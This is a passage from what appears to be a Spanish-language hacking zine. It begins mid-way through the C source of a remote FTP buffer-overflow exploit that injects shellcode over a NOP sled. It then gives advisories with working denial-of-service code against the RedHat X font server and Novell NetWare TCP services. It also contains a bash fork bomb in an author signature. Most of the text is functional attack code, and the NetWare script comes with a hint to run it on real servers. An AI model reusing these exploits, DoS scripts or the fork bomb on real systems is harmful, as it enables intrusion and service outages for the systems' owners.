magic_d[where]=q; } } all_failed=MAX_FAILED*2; printf("%s", q==2?"%c":"%d"); fflush(stdout); goto verify; } all_failed--; continue; verify: if(magic_check_ok(sock,magic_str)){ putchar('\n'); return 0; } } return 0; } int main(int argc, char *argv[]){ char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode; int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0; u_long ret_addr=0, pass_addr=0; for(i=0;targ[i].os_descr!=NULL;i++); while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){ switch(c) { case 't': target=optarg;break; case 'l': username=optarg; passwd=strchr(optarg,'/'); if(passwd==NULL) usage(argv[0],0); *passwd++=(char)0; break; case 'x': testmode=1; break; case 'o': offset=atoi(optarg);break; case 'p': pass_addr=strtoul(optarg, &optarg,16); break; case 'g': gm=1; break; case 'M': dir=optarg;mtype=1;break; case 'm': { int where=0; if(!*optarg) { fprintf(stderr,"-m requires argument, try -h for help\n"); exit(1); } while(1) { magic[where]=strtoul(optarg,&optarg,16); optarg=strchr(optarg,','); if(optarg==NULL){ printf("comma missing\n"); exit(1); } optarg++; magic_d[where++]=strtoul(optarg,&optarg,16); if(strchr(optarg,':')==NULL){ magic[where]=magic_d[where]=0; break; } optarg=strchr(optarg,':'); optarg++; } } break; case 's': num=atoi(optarg); if(num>i) { fprintf(stderr,"systype too big, try -h for help\n"); exit(1); } break; case 'r': ret_addr=strtoul(optarg,&optarg,16); break; case 'P': padding=atoi(optarg); break; case 'H': bla=2; default: usage(argv[0],bla);break; } } if(target==NULL){ fprintf(stderr,"No target specified, try -h for help\n"); exit(1); } if(num==-1||num==-2) { for(i=0;!targ[i].def;i++); num=i; } (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets)); if(magic[1]!=0) { memcpy((void*)getit.magic,magic,sizeof(magic)); memcpy((void*)getit.magic_d,magic_d,sizeof(magic)); } if(ret_addr)getit.addr_ret_addr=ret_addr; if(pass_addr)getit.pass_addr=pass_addr; getit.addr_ret_addr+=(offset*4); sock=connect_to_server(target); memset(shellcode, '\x90', sizeof(shellcode)); shellcode[sizeof(shellcode)-1]=(char)0; if(!mtype){ memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1); shellcode[sizeof(shellcode)-1]=(char)0; }else{ memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode)); shellcode[250-1]=(char)0; } printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"":passwd,getit.os_descr); printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode)); buff=(char *)malloc(1024); bzero(buff,1024); (void)ftp_recv(sock,NULL,0,1); (void)ftp_login(sock,username,passwd); if(gm||(magic_str==NULL&&getit.magic[0]==0)){ printf("STEP 2A: Generating magic string: "); fflush(stdout); magic_digger(sock); memcpy((void *)getit.magic,(void*)magic,sizeof(magic)); memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d)); printf("STEP 2B: MAGIC STRING: ["); } else { printf("STEP 2 : Skipping, magic number already exists: ["); } for(i=0;i Un fallo en el codigo del X fontserver en RedHat 6.x (se produce un puntero nulo,NULL, en strcpy()) puede producir un DoS. Cualquier usuario sin privilegios puede llevar a cabo el DoS. EL codigo que demuestra el fallo lo teneis a continuación: _______________________________________________________ Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security] [http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};: =-----=> God is real, unless declared integer. <=-----= #include #include #define CNT 50 #define FS "/tmp/.font-unix/fs-1" int s,y; struct sockaddr_un x; char buf[CNT]; main() { for (y;y<2;y++) { s=socket(PF_UNIX,SOCK_STREAM,0); x.sun_family=AF_UNIX; strcpy(x.sun_path,FS); if (connect(s,&x,sizeof(x))) { perror(FS); exit(1); } if (!y) write(s,"lK",2); memset(buf,'A',CNT); write(s,buf,CNT); shutdown(s,2); close(s); } } -( 0x10 )- Tema : NOVELL NETWARE DOS Para : Novell Netware 5.1 (server 5.00h, Dec 11, 1999) Patch : despacito y con cuidado, la actualizacion. Fecha : 18 Abril 2000 Creditos : Michal Zalewski Otro ataque a la pila TCP/IP, esta vez un overflow en Netware. El overflow se encuentra en el protocolo de administracion remota (normalmente para http el 8080, etc.) con tcp habilitado. Enviando una peticion (por ejemplo con GET ) que este entre 4 y 8 kb, recibiremos un mensaje de error en la consola, mientras que la conexion no se libera. Que podemos hacer con esto, ademas de escribir una shell code y(o ejecutar codigo arbitrariamente en el server... pues si os fijais al no liberarse las conexiones cuando realizas este ataque repitiendolo varias veces (o unas cientos) podemos dejar a la makina sin servicios tcp de red, e incluso matar totalmente el server. Adjuntamos un codigo que produce la caida de los servicios TCP/IP en una makina corriendo Novell. El autor pedia en el report que para usos de test se cambiasen las variables $SERVER y $PORT, pero el que no quiera y ademas use Novell... };-) -- kill_nwtcp.c -- #!/bin/sh SERVER=127.0.0.1 PORT=8008 WAIT=3 DUZOA=`perl -e '{print "A"x4093}'` MAX=30 while :; do ILE=0 while [ $ILE -lt $MAX ]; do ( ( echo "GET /" echo $DUZOA echo ) | nc $SERVER $PORT & sleep $WAIT kill -9 $! ) &>/dev/null & ILE=$[ILE+1] done sleep $WAIT done *EOF*